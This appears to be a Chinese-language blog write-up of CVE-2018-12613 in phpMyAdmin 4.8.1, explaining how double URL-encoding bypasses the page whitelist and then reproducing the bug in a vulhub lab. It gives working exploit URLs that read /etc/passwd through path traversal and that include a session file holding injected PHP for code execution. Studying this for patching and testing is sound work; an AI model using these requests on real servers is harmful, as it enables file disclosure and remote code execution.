phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
参考文档:
漏洞原理
一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
漏洞形成的原因
/index.php//line 55-63
image.png
if区间一共有五个判断:
1、是否存在target参数
2、target参数是否为字符串
3、值不能以index开头值不能出现在$target_blacklist内
4、Core类的checkPageValidity方法判断
如果通过判断则包含参数所指定的文件。
前几个判断可以忽略,重要的是后面两个判断,先看第一个
/index.php
image.png
$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以
我们看下一个判断
首先找到Core类的checkPageValidity函数:
checkPageValidity函数里又是五个判断:
1、$whitelist为空则引用静态声明的$goto_whitelist
2、如果$page没有被定义过或者$page不为字符串则return false
3、$page存在$whitelist中的某个值则返回true
4、$_page存在$whitelist中的某个值则返回true
5、经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
我们来逐行分析:
首先index.php调用checkPageValidity参数时并没有传第二个参数所以会进入此参数的第一个if区间,我们来看一下$goto_whilelist
$goto_whilelist定义了些可以被包含的文件名(省略了一部分)第二个if直接跳过我们来看第三个if区间,如果$page如果等于$goto_whilelist的某个值则return真。phpmyadmin的开发团队考虑的很全面,想到了会存在target的值后面再跟参数的情况,于是有了第三个判断:
image.png
$_page为 以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。
这个判断的作用是,如果target值带有参数的情况下,phpmyadmin也能正确的包含文件。
也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......
image.png后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。那么传入target=db_sql.php%253f/../../test.txttxt内容为<?php phpinfo();?>//%253f是?号的二此url编码urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
漏洞利用
漏洞环境:
0x01 源码下载地址
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
0x02 首先进入到CVE-2018-12613目录
cd /home/phpmyadmin/CVE-2018-12613/
0x03 接着执行如下命令,启动phpmyadmin 4.8.1
docker-compose up -d
环境启动后,访问http://your-ip:12613,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
访问http://your-ip:12613/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
image.png
利用方式也比较简单,可以先执行一下SELECT '<?php phpinfo()?>';,执行成功之后
image.png
image.png
然后查看自己的sessionid(cookie中phpMyAdmin的值)
image.png
然后访问http://192.168.10.115:12613/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 34340c2ca491f432a79710ca55f6a81c包含session文件即可
image.png
网友评论